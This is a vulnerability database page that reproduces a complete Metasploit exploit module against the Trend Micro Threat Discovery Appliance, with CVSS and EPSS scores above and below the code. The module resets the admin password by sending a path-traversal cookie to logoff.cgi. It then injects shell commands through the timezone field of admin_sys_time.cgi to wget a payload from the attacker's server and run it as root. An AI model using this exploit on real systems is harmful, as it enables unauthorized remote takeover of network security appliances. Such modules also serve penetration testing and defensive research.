9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.967 High
EPSS
Percentile
99.6%
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. The first is an authentication bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to ‘admin’ upon a reboot (CVE-2016-7552). The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi interface (CVE-2016-7547). Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted. The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box. Therefore, this module performs a heartbeat request until the box is bounced and then attempts to login and to perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution',
'Description' => %q{
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance.
The first is an authentication bypass vulnerability via a file delete in logoff.cgi
which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552).
The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi
interface (CVE-2016-7547).
Note: You have the option to use the authentication bypass or not since it requires
that the server is rebooted. The password reset will render the authentication useless.
Typically, if an administrator cant login, they will bounce the box. Therefore, this
module performs a heartbeat request until the box is bounced and then attempts to login
and to perform the command injection. This module has been tested on version 2.6.1062r1
of the appliance.
},
'Author' =>
[
'mr_me <[email protected]>', # vuln + msf
'Roberto Suggi Liverani @malerisch', # vuln + msf
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://asciinema.org/a/112480'], # demo
[ 'CVE', '2016-7552'], # auth bypass
[ 'CVE', '2016-7547'], # cmdi
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' =>
[
[ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2017-04-10'))
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']),
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]),
])
end
def check
if do_login
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'),
'cookie' => @cookie,
'method' => 'GET',
}, 1)
if res and res.code == 200 and res.body =~ /About Trend Micro/
version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/
case version
when /2.6.1062/
return Exploit::CheckCode::Vulnerable
end
end
end
return Exploit::CheckCode::Safe
end
def exploit
if datastore['AUTHBYPASS']
print_status("Bypassing authentication...")
if reset_password
print_good("The password has been reset!")
print_status("Waiting for the administrator to reboot...")
pwn_after_reboot
end
else
if do_login
pwn
else
fail_with(Failure::NoAccess, "Authentication failed")
end
end
end
def reset_password
c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'),
'method' => 'GET',
'cookie' => c,
})
if res and res.code == 200 and res.headers.to_s =~ /Backtrace/
return true
end
return false
end
def pwn
start_http_server
print_good("Logged in")
download_exec
end
def pwn_after_reboot
@rebooted = false
while !@rebooted
if do_login
@rebooted = true
pwn
end
end
end
def on_request_uri(cli, request)
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
def start_http_server
@pl = generate_payload_exe
@elf_sent = false
downfile = rand_text_alpha(8+rand(8))
resource_uri = '/' + downfile
# do not use SSL for the attacking web server
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
@service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
service_url_payload = srv_host + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
connect
end
def exec(cmd)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'),
'cookie' => @cookie,
'method' => 'POST',
'vars_post' => {
'act' => 'save',
'timezone' => cmd,
}
}, 1)
end
def download_exec
@bd = rand_text_alpha(8+rand(8))
register_file_for_cleanup("/tmp/#{@bd}")
exec("|`wget #{@service_url} -O /tmp/#{@bd}`")
exec("|`chmod 755 /tmp/#{@bd}`")
exec("|`/tmp/#{@bd}`")
# we need to delay, for the stager
select(nil, nil, nil, 5)
end
def do_login
begin
login = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'),
'method' => 'POST',
'vars_post' => {
'passwd' => datastore['PASSWORD'],
'isCookieEnable' => 1,
}
})
# these are needed due to the reboot
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
if login and login.code == 200 and login.body =~ /frame\.cgi/
@cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/
return true
end
return false
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.967 High
EPSS
Percentile
99.6%